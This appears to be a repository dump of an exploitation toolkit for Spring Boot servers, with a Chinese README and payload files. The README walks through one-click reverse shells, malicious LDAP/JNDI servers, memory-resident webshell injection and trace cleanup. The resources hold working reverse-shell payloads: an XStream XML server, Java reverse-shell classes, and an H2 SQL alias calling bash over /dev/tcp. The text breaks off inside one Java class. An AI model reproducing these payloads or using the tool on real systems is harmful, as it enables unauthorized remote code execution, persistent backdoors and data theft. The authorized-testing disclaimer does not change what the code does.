├── .gitignore ├── META-INF └── MANIFEST.MF ├── README.md ├── image ├── 1725461792423.jpg ├── 1725461834405.jpg ├── 1725462083302.jpg ├── 1725462104669.jpg ├── 1725462287383.jpg ├── 1726047278563.jpg ├── WechatIMG1409.jpg ├── WechatIMG1415.jpg ├── image-20240908184831197.png ├── image-20240908184925841.png ├── image-20240908185521389.png ├── image-20240911124128856.png ├── image-20240912201142594.png ├── image-20240912201344077.png ├── image-20240913231419290.png ├── image-20240914013633068.png ├── image-20240915162516029.png ├── image-20240915232444633.png ├── image-20240921141501679.png ├── image-20240921163721471.png ├── image-20240930112417036.png ├── image-20240930112756401.png ├── image-20241010151607414.png ├── image-20241010151640105.png ├── image-20241015163619279.png ├── image-20241016110317955.png ├── image-20241101163350718.png ├── image-20241101163455286.png ├── image-20241101170030848.png ├── image-20241101172846179.png ├── image-20241102140130045.png ├── image-20241102141814771.png ├── image-20241102142732354.png └── image-20241102143548720.png ├── libs └── gson-2.8.9.jar ├── manifest.txt ├── resources ├── EurekaSerPoc.py ├── H2DataConsole.class ├── H2DataConsole.java ├── H2DbSourcePoc.sql ├── JNDIExploit-1.0-SNAPSHOT.jar ├── JolokiaLogback.class ├── JolokiaLogback.java ├── JolokiaLogback.xml ├── JolokiaRealm.class ├── JolokiaRealm.java ├── LoggingConfigGR.groovy ├── LoggingConfigJNDI.xml ├── MYSQLjdbc.py ├── MainSourceGR.groovy ├── RealmJolokia.py ├── SnakeYaml0.jar ├── SnakeYamlPayload │ └── src │ │ ├── META-INF │ │ └── services │ │ │ └── javax.script.ScriptEngineFactory │ │ └── artsploit │ │ ├── AwesomeScriptEngineFactory.class │ │ └── AwesomeScriptEngineFactory.java ├── SnakeYamlYml.yml ├── UA.txt ├── dict.txt ├── list.json ├── marshalsec-0.0.3-SNAPSHOT-all.jar ├── payload.ser └── user.txt └── src └── main ├── Exp ├── ExpCore │ └── ExpCore.java └── ExpImp │ └── ExpImp.java ├── FileCommon └── File.java ├── LoadLib ├── ClassCom │ └── ClsComp.java ├── JARLoad │ └── LoadJarLib.java └── MemshellLoad │ ├── GMemShell.class │ └── MemshellLoad.java ├── SSLVerify └── sslVer.java ├── common ├── DownLoadHP.java ├── UA_Config.java └── VersionComparator.java ├── impl └── ResultCallback.java ├── module ├── DruidBruteForce.java ├── EurekaXsRCE.java ├── GetSpPassWord_I.java ├── GetSpPassWord_II.java ├── GetSpPassWord_III.java ├── H2DataConsoleRCE.java ├── H2DataQueryRCE.java ├── H2DataSourceRCE.java ├── JolokiaLogbackRCE.java ├── JolokiaRealmRCE.java ├── LogViewFileLeak.java ├── LoggingConfigRCE.java ├── LoggingGroovyRCE.java ├── MainSourceGroovyRCE.java ├── MysqlJDBCRCE.java ├── ScanVul.java ├── SnakeYamlRCE.java ├── SpelRCE.java └── SpringGawRCE.java ├── springboot_vul.java └── template ├── JNDIObject ├── H2DataConsoleTemplate.java └── JolokiaLogbackTemplate.java ├── RealmObject └── RealmJolokiaTemplate.py └── YAMLObject └── SnakeYamlTemplate.java /.gitignore: -------------------------------------------------------------------------------- 1 | .DS_Store 2 | .idea/ 3 | out/ 4 | HPFile/ 5 | -------------------------------------------------------------------------------- /META-INF/MANIFEST.MF: -------------------------------------------------------------------------------- 1 | Manifest-Version: 1.0 2 | Main-Class: src.main.springboot_vul 3 | 4 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![views since 2024/09/06](https://visitor-badge-deno.deno.dev/wh1t3zer.SpringBootVul-GUI.svg) 2 | 3 | # SpringBootVul-GUI 4 | 5 | 一个半自动化springboot打点工具,内置目前springboot所有漏洞 6 | 7 | ## 声明 8 | 9 | > **⚠️ 本项目所有内容仅作为安全研究和授权测试使用, 相关人员对因误用和滥用该项目造成的一切损害概不负责** 10 | 11 | ## 0x01简介 12 | 13 | 本着简单到极致的原则,开发了这么一款半自动化工具(PS:这个工具所包含多个漏洞,开发不易,有任何问题可提issue) 14 | 15 | 尽管是一个为懒人量身打造的工具,但是还是有几点需要注意 16 | 17 | 18 | 19 | 注意!!以下几点请务必谨记 20 | 21 | 注意!!以下几点请务必谨记 22 | 23 | 注意!!以下几点请务必谨记 24 | 25 | 1、工具中出现的漏洞,需要先熟悉之后才能利用本工具。部分接口极其容易造成服务器的springboot服务异常,包括不限于报错、程序退出、无法执行代码,请小心使用!! 26 | 27 | 2、本工具仅限学习使用,请勿用于非法用途!!!!!!!! 28 | 29 | 3、工具仍在开发阶段,目前测试无异常,使用次数多难免会造成不可预见的问题,请提issue,确认后会修改BUG,感谢各位。 30 | 31 | poc模块不一定准确,因为大部分存在无回显漏洞,工具已经初步筛选,一般提示为不存在漏洞就是没有,如果是存在,还需要进一步判断 32 | 33 | ## 0x02使用教程 34 | 35 | ```bash 36 | # git clone下载本项目 37 | git clone https://github.com/wh1t3zer/SpringBootVul-GUI 38 | 可直接运行Springboot_vul.java 39 | 40 | # 也可直接下载jar包 41 | java -jar SpringBootVul_GUI.jar 42 | ``` 43 | 44 | 确保采用的是jdk1.8版本 45 | 46 | 本系统采用的是javafx,高版本需自行加载javafx依赖 47 | 48 | 本项目中的heapdump转存会自动下载网站上的文件,并会放到jar包下的HFile文件夹 49 | 50 | 51 | 52 | **文件结构** 53 | 54 | ``` 55 | ├──SpringbootVul-GUI 56 | ├── META-INF/ 57 | ├── resources/ # 存放资源文件、字典和exp的跨文件 58 | ├── HPFile/ # 存放下载的heapdump 59 | ├── src/ # 工程代码 60 | ├── image/ 61 | ├── libs/ # 所需依赖 62 | ``` 63 | 64 | ## 0x03开发进度 TODO 65 | 66 | * [x] 配置不正当导致的泄露 67 | * [x] 脱敏密码明文(1) 68 | * [x] 增加漏洞利用选择模块,可以选择单一或多个漏洞进行检测 69 | * [x] 命令执行漏洞式支持交互式执行命令 70 | * [x] Spring Gateway RCE 71 | * [x] heapdump文件下载导致敏感信息泄露 72 | * [x] druid数据连接池 73 | * [x] 脱敏密码明文(2) 74 | * [x] 脱敏密码明文(3) 75 | * [x] eureka中xstream基于反序列化的RCE 76 | * [x] spring.datasource.data 基于h2数据库的RCE 77 | * [x] 基于SpEL注入的RCE 78 | * [x] spring.main.source的groovyRCE 79 | * [x] logging.config的groovyRCE 80 | * [x] H2数据库设置query属性的RCE 81 | * [x] logging.config的logback基于JNDI的RCE 82 | * [x] CVE-2021-21234任意文件读取 83 | * [x] h2数据库的控制台基于JNDI注入的RCE 84 | * [x] SpringCloud的SnakeYaml的RCE 85 | * [x] jolokia中logback基于JNDI注入的RCE 86 | * [ ] jolokia中realm基于JNDI注入的RCE 87 | * [ ] mysql中jdbc基于反序列化的RCE(暂不写,需配合痕迹清除一起用,不然造成对方数据库业务异常)(需ysoserial工具) 88 | 89 | ## 0x04短期目标 Prepare 90 | 91 | * [x] 一键打入内存马(目前只有Spring Cloud Gateway) 92 | * [x] 部分RCE的痕迹一键清除(spring cloud gateway) 93 | 94 | ## 0x05项目演示 95 | 96 | ### #1 密码脱敏 97 | 98 | 脱敏(1) 99 | 100 | ![](./image/1725461792423.jpg) 101 | 102 | ![](./image/1725461834405.jpg) 103 | 104 | 脱敏(2) 105 | 106 | 得到Authorization字段的数据,用base64解码即可,有时间再优化下能直接显示到文本框里 107 | 108 | ![](./image/image-20240908184925841.png) 109 | 110 | ![](./image/image-20240908184831197.png) 111 | 112 | 脱敏(3) 113 | 114 | ![](./image/image-20240908185521389.png) 115 | 116 | ### #2 Spring Cloud Gateway 交互式命令 117 | 118 | ![](./image/1725462083302.jpg) 119 | 120 | ![](./image/1725462104669.jpg) 121 | 122 | **痕迹清除** 123 | 124 | 默认清除poctest、pwnshell和expvul路由,其他路由自行判断 125 | 126 | ![](./image/image-20241016110317955.png) 127 | 128 | ### #3 Eureka 反序列化RCE(慎用) 129 | 130 | 直接点击getshell反弹,单纯poc测试的没写,python文件放同一目录下了,需要在vps启用2个端口,一个是你python服务器的端口,一个是反弹端口,写在python文件中,反弹端口默认是9000,注意这两个端口区别,输入框的端口是托管服务器端口 131 | 132 | ```bash 133 | nc -lvk 9000 # mac 134 | nc -lvp 9000 # linux 135 | python -m http.server 80 136 | ``` 137 | 138 | **注意!!!**该数据包发送后会驻留到目标Eureka,会不断请求,若造成服务器出错时,可能会导致无法访问网站的路由 139 | 140 | ![](./image/image-20240911124128856.png) 141 | 142 | ### #4 H2DatabaseSource RCE(慎用) 143 | 144 | POC 145 | 146 | ![](./image/image-20241102143548720.png) 147 | 148 | 目前已经基本完成一键getshell,理论上只要在不关闭的情况下可以无限弹,~~因为目前的payload是从T5开始的,如果遇到网站被测试过时,那大概率会报错而导致对方服务宕机~~,因为这是不回显RCE,无法判断到底有没有被测试过。现为随机生成3位数字,没有关闭工具的情况下默认递增。 149 | 150 | 监听端口默认是**8881** 151 | 152 | 输入框中填写你开启服务器的端口,目前为了能无限弹的机制,暂时只能设置在该项目的resources文件夹开启 153 | 154 | ```bash 155 | nc -lvk 8881 # mac 156 | nc -lvp 8881 # linux 157 | python -m http.server 80 158 | ``` 159 | 160 | ![](./image/1726047278563.jpg) 161 | 162 | ### #5 SpEL注入导致的RCE 163 | 164 | 可以同时检测多个参数值,要在参数值上打上一个单引号'作为标记' 165 | 166 | http://127.0.0.1:9091/article?id=1'&b=2' 167 | 168 | getshell功能可以直接弹shell,getshell模块直接输入地址+路由+参数,无需加=和后面的值 169 | 170 | ```bash 171 | nc -lvk port # mac 172 | nc -lvp port # linux 173 | ``` 174 | 175 | ![](./image/image-20240912201142594.png) 176 | 177 | ![](./image/image-20240912201344077.png) 178 | 179 | ### #6 MainSourceGroovyRCE 180 | 181 | POC 182 | 183 | ![](./image/image-20241101170030848.png) 184 | 185 | 一键getshell监听的端口是托管groovy文件的端口,反弹端口默认为7777 186 | 187 | 输入框中填写你开启服务器的端口,目前为了更好弹shell,最好设置在该项目的resources文件夹开启 188 | 189 | **注意!!!**:“HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出” 190 | 191 | 所以师傅有需要修改代码或者其他用途的时候,修改代码的时候不要改错groovy内容,并且文件内容也不要随意修改,以防万一 192 | 193 | ```bash 194 | nc -lvk 7777 # mac 195 | nc -lvp 7777 # linux 196 | python -m http.server 80 197 | ``` 198 | 199 | ![](./image/image-20240913231419290.png) 200 | 201 | ### #7 LoggingConfigGroovyRCE 202 | 203 | POC 204 | 205 | ![](./image/image-20241101172846179.png) 206 | 207 | 一键getshell监听的端口是托管groovy文件的端口,反弹端口默认为4444,开启的方法同上 208 | 209 | ```bash 210 | nc -lvk 4444 # mac 211 | nc -lvp 4444 # linux 212 | python -m http.server 80 213 | ``` 214 | 215 | **注意!!!**:“HTTP 服务器如果返回含有畸形 groovy 语法内容的文件,会导致程序异常退出” 216 | 217 | 所以师傅有需要修改代码或者其他用途的时候,修改代码的时候不要改错groovy内容,并且文件内容也不要随意修改,以防万一 218 | 219 | ![](./image/image-20240915162516029.png) 220 | 221 | ### #8 H2DatabaseQueryRCE(慎用) 222 | 223 | POC 224 | 225 | ![](./image/image-20241102142732354.png) 226 | 227 | 这个也是跟H2dataSource漏洞一样,会使用sql语句来触发,考虑到无限弹shell并且如果一个网站同时测这两个漏洞,~~默认设置的含T5类似的,初始值是T15,代码写了递增,测试次数上要注意~~ 228 | 229 | 现在为随机生成四位数字,没关闭工具情况下还是默认递增 230 | 231 | ```bash 232 | nc -lvk 8000 # mac 233 | nc -lvp 8000 # linux 234 | ``` 235 | 236 | ![](./image/image-20240915232444633.png) 237 | 238 | ### #9 LoggingConfigJNDIRCE(慎用) 239 | 240 | POC 241 | 242 | ![](./image/image-20241102140130045.png) 243 | 244 | 端口输入用的是托管xml文件的端口,监听默认9990,需要resources文件夹的jndi服务器配合一起。 245 | 246 | **注意**: 247 | 248 | 1、目标必须是出网的,否则 restart 会导致程序异常退出 249 | 250 | 2、JNDI 服务返回的 object 需要实现javax.naming.spi.ObjectFactory`接口,否则会导致程序异常退出(已打包成jar包在resources文件夹) 251 | 252 | ```bash 253 | nc -lvk 9990 # mac 254 | nc -lvp 9990 #linux 255 | python -m http.server 80 256 | java -jar JNDIExploit-1.0-SNAPSHOT.jar -i ip 257 | ``` 258 | 259 | ![](./image/image-20240921141501679.png) 260 | 261 | ### #10 CVE-2021-21234任意文件读取 262 | 263 | (仅做poc测试,后续加入输入文件名) 264 | 265 | ![](./image/image-20240921163721471.png) 266 | 267 | ### #11 H2数据库的JNDI的RCE 268 | 269 | POC 270 | 271 | ![](./image/image-20241101163455286.png) 272 | 273 | 漏洞利用的路径是访问恶意ladp服务器->通过转发到托管服务器的class->getshell 274 | 275 | 文件读写是从template文件夹下读取模板,对vps配置替换后写到resources再编译成class 276 | 277 | 1、运行恶意ladp,文件我放到resources了,可以直接使用 278 | 279 | ```bash 280 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/\#H2DataConsole 1389 281 | ``` 282 | 283 | 2、运行resources托管服务器 284 | 285 | ```bash 286 | python -m http.server 80 287 | ``` 288 | 289 | 3、监听端口 290 | 291 | ```bash 292 | # mac 293 | nc -lvk 7777 294 | #linux 295 | nc -lvp 7777 296 | ``` 297 | 298 | ![](./image/image-20240930112756401.png) 299 | 300 | ![](./image/image-20240930112417036.png) 301 | 302 | 有关JDNI高版本注入的文章可以看看 303 | 304 | https://tttang.com/archive/1405/ 305 | 306 | ### #12 SnakeYamlRCE 307 | 308 | POC 309 | 310 | ![](./image/image-20241101163350718.png) 311 | 312 | 漏洞触发流程: 313 | 314 | SnakeYamlYml.yml - > SnakeYaml.jar - > getshell 315 | 316 | 端口监听默认是9950,监听port填的是托管服务的端口 317 | 318 | **注意**:该exp会发送到对方服务器,而对方服务器的env会显示500,比如这种,在测试结束后需要通知对方重启服务器获得正常显示。 319 | 320 | **小Tips**:该漏洞的yml文件调用jar包加载,若重复发送同名的jar包会导致漏洞利用失败,故该模块用了递增的形式一直改变生成jar包名而到达无限弹shell 321 | 322 | 生成的jar包参考代码在resources/SnakeYamlPayload/artsploit下 323 | 324 | ```bash 325 | python -m http.server 80 326 | nc -lvk 9950 #mac 327 | nc -lvp 9950 #linux 328 | ``` 329 | 330 | ![](./image/image-20241010151640105.png) 331 | 332 | ![](./image/image-20241010151607414.png) 333 | 334 | ### #13 JolokiaLogback的JNDI的RCE 335 | 336 | POC 337 | 338 | ![](./image/image-20241102141814771.png) 339 | 340 | 漏洞执行流程:服务器访问xml文件,通过xxe漏洞去访问ldap,然后跳转到JNDI恶意类加载 341 | 342 | 切换到resources文件夹,工具的监听端口是nc的端口,不是80 343 | 344 | ```bash 345 | python -m http.server 80 346 | 347 | java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:80/\#JolokiaLogback 1389 348 | ``` 349 | 350 | ```bash 351 | nc -lvp 9090 #linux 352 | nc -lvk 9090 #mac 353 | ``` 354 | 355 | ![](./image/image-20241015163619279.png) 356 | 357 | ### #14 端点扫描 358 | 359 | 端点扫描经过延时降速处理,heapdump可以下载大文件,用了分块,做了个小进度条,以后优化下,textflow布局以后要改 360 | 361 | ![](./image/image-20240914013633068.png) 362 | 363 | ### #15 一键上马 364 | 365 | 密钥默认为hackfunny 366 | 367 | ![](./image/WechatIMG1409.jpg) 368 | 369 | ![](./image/WechatIMG1415.jpg) 370 | 371 | ## 0x06参考项目 372 | 373 | 感谢以下项目或文章提供帮助和支持,具体漏洞原理可参考以下地址 374 | 375 | 1、https://github.com/LandGrey/SpringBootVulExploit 376 | 377 | 2、https://mp.weixin.qq.com/s/2wKB3jACAkIiIZ96tVb5fA 378 | 379 | 3、https://xz.aliyun.com/t/11331?time__1311=Cq0xR70QoiqDqGXYYIhxWucgYDkIHT1iT4D#toc-3 380 | 381 | 4、https://blog.csdn.net/weixin_50464560/article/details/121193783 382 | 383 | ## Star History 384 | 385 | [![Star History Chart](https://api.star-history.com/svg?repos=wh1t3zer/SpringBootVul-GUI&type=Date)](https://star-history.com/#wh1t3zer/SpringBootVul-GUI&Date) 386 | 387 | -------------------------------------------------------------------------------- /image/1725461792423.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/1725461792423.jpg -------------------------------------------------------------------------------- /image/1725461834405.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/1725461834405.jpg -------------------------------------------------------------------------------- /image/1725462083302.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/1725462083302.jpg -------------------------------------------------------------------------------- /image/1725462104669.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/1725462104669.jpg -------------------------------------------------------------------------------- /image/1725462287383.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/1725462287383.jpg -------------------------------------------------------------------------------- /image/1726047278563.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/1726047278563.jpg -------------------------------------------------------------------------------- /image/WechatIMG1409.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/WechatIMG1409.jpg -------------------------------------------------------------------------------- /image/WechatIMG1415.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/WechatIMG1415.jpg -------------------------------------------------------------------------------- /image/image-20240908184831197.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240908184831197.png -------------------------------------------------------------------------------- /image/image-20240908184925841.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240908184925841.png -------------------------------------------------------------------------------- /image/image-20240908185521389.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240908185521389.png -------------------------------------------------------------------------------- /image/image-20240911124128856.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240911124128856.png -------------------------------------------------------------------------------- /image/image-20240912201142594.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240912201142594.png -------------------------------------------------------------------------------- /image/image-20240912201344077.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240912201344077.png -------------------------------------------------------------------------------- /image/image-20240913231419290.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240913231419290.png -------------------------------------------------------------------------------- /image/image-20240914013633068.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240914013633068.png -------------------------------------------------------------------------------- /image/image-20240915162516029.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240915162516029.png -------------------------------------------------------------------------------- /image/image-20240915232444633.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240915232444633.png -------------------------------------------------------------------------------- /image/image-20240921141501679.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240921141501679.png -------------------------------------------------------------------------------- /image/image-20240921163721471.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240921163721471.png -------------------------------------------------------------------------------- /image/image-20240930112417036.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240930112417036.png -------------------------------------------------------------------------------- /image/image-20240930112756401.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20240930112756401.png -------------------------------------------------------------------------------- /image/image-20241010151607414.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241010151607414.png -------------------------------------------------------------------------------- /image/image-20241010151640105.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241010151640105.png -------------------------------------------------------------------------------- /image/image-20241015163619279.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241015163619279.png -------------------------------------------------------------------------------- /image/image-20241016110317955.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241016110317955.png -------------------------------------------------------------------------------- /image/image-20241101163350718.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241101163350718.png -------------------------------------------------------------------------------- /image/image-20241101163455286.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241101163455286.png -------------------------------------------------------------------------------- /image/image-20241101170030848.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241101170030848.png -------------------------------------------------------------------------------- /image/image-20241101172846179.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241101172846179.png -------------------------------------------------------------------------------- /image/image-20241102140130045.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241102140130045.png -------------------------------------------------------------------------------- /image/image-20241102141814771.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241102141814771.png -------------------------------------------------------------------------------- /image/image-20241102142732354.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241102142732354.png -------------------------------------------------------------------------------- /image/image-20241102143548720.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/image/image-20241102143548720.png -------------------------------------------------------------------------------- /libs/gson-2.8.9.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/libs/gson-2.8.9.jar -------------------------------------------------------------------------------- /manifest.txt: -------------------------------------------------------------------------------- 1 | Main-Class: src.main.springboot_vul -------------------------------------------------------------------------------- /resources/EurekaSerPoc.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding: utf-8 3 | # -**- Author: LandGrey -**- 4 | 5 | from flask import Flask, Response 6 | 7 | app = Flask(__name__) 8 | 9 | 10 | @app.route('/', defaults={'path': ''}) 11 | @app.route('/', methods=['GET', 'POST']) 12 | def catch_all(path): 13 | xml = """ 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | /bin/bash 26 | -c 27 | python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",9000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);' 28 | 29 | false 30 | 31 | 32 | 33 | 34 | java.lang.ProcessBuilder 35 | start 36 | 37 | 38 | foo 39 | 40 | foo 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | """ 52 | return Response(xml, mimetype='application/xml') 53 | 54 | 55 | if __name__ == "__main__": 56 | app.run(host='0.0.0.0', port=80) -------------------------------------------------------------------------------- /resources/H2DataConsole.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/resources/H2DataConsole.class -------------------------------------------------------------------------------- /resources/H2DataConsole.java: -------------------------------------------------------------------------------- 1 | /** 2 | * javac -source 1.5 -target 1.5 src.main.template.JNDIObject.JNDIObject.java 3 | * 4 | * Build By LandGrey 5 | * */ 6 | 7 | import java.io.File; 8 | import java.io.InputStream; 9 | import java.io.OutputStream; 10 | import java.net.Socket; 11 | 12 | public class H2DataConsole { 13 | static { 14 | try{ 15 | String ip = ""; 16 | String port = ""; 17 | String py_path = null; 18 | String[] cmd; 19 | if (!System.getProperty("os.name").toLowerCase().contains("windows")) { 20 | String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; 21 | for(int i = 0; i < py_envs.length; ++i) { 22 | String py = py_envs[i]; 23 | if ((new File(py)).exists()) { 24 | py_path = py; 25 | break; 26 | } 27 | } 28 | if (py_path != null) { 29 | if ((new File("/bin/bash")).exists()) { 30 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"}; 31 | } else { 32 | cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"}; 33 | } 34 | } else { 35 | if ((new File("/bin/bash")).exists()) { 36 | cmd = new String[]{"/bin/bash"}; 37 | } else { 38 | cmd = new String[]{"/bin/sh"}; 39 | } 40 | } 41 | } else { 42 | cmd = new String[]{"cmd.exe"}; 43 | } 44 | Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start(); 45 | Socket s = new Socket(ip, Integer.parseInt(port)); 46 | InputStream pi = p.getInputStream(); 47 | InputStream pe = p.getErrorStream(); 48 | InputStream si = s.getInputStream(); 49 | OutputStream po = p.getOutputStream(); 50 | OutputStream so = s.getOutputStream(); 51 | while(!s.isClosed()) { 52 | while(pi.available() > 0) { 53 | so.write(pi.read()); 54 | } 55 | while(pe.available() > 0) { 56 | so.write(pe.read()); 57 | } 58 | while(si.available() > 0) { 59 | po.write(si.read()); 60 | } 61 | so.flush(); 62 | po.flush(); 63 | Thread.sleep(50L); 64 | try { 65 | p.exitValue(); 66 | break; 67 | } catch (Exception e) { 68 | } 69 | } 70 | p.destroy(); 71 | s.close(); 72 | }catch (Throwable e){ 73 | e.printStackTrace(); 74 | } 75 | } 76 | } -------------------------------------------------------------------------------- /resources/H2DbSourcePoc.sql: -------------------------------------------------------------------------------- 1 | CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('/bin/bash','-c','bash -i >& /dev/tcp/127.0.0.1/8881 0>&1'); -------------------------------------------------------------------------------- /resources/JNDIExploit-1.0-SNAPSHOT.jar: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/resources/JNDIExploit-1.0-SNAPSHOT.jar -------------------------------------------------------------------------------- /resources/JolokiaLogback.class: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/wh1t3zer/SpringBootVul-GUI/611e767f0cb3a6505fbaa2d3dfcf73b79bf474de/resources/JolokiaLogback.class -------------------------------------------------------------------------------- /resources/JolokiaLogback.java: -------------------------------------------------------------------------------- 1 | 2 | 3 | import java.io.File; 4 | import java.io.InputStream; 5 | import java.io.OutputStream; 6 | import java.net.Socket; 7 | 8 | public class JolokiaLogback { 9 | static { 10 | try{ 11 | String ip = "127.0.0.1"; 12 | String port = "9090"; 13 | String py_path = null; 14 | String[] cmd; 15 | if (!System.getProperty("os.name").toLowerCase().contains("windows")) { 16 | String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"}; 17 | for(int i = 0; i < py_envs.length; ++i) { 18 | String 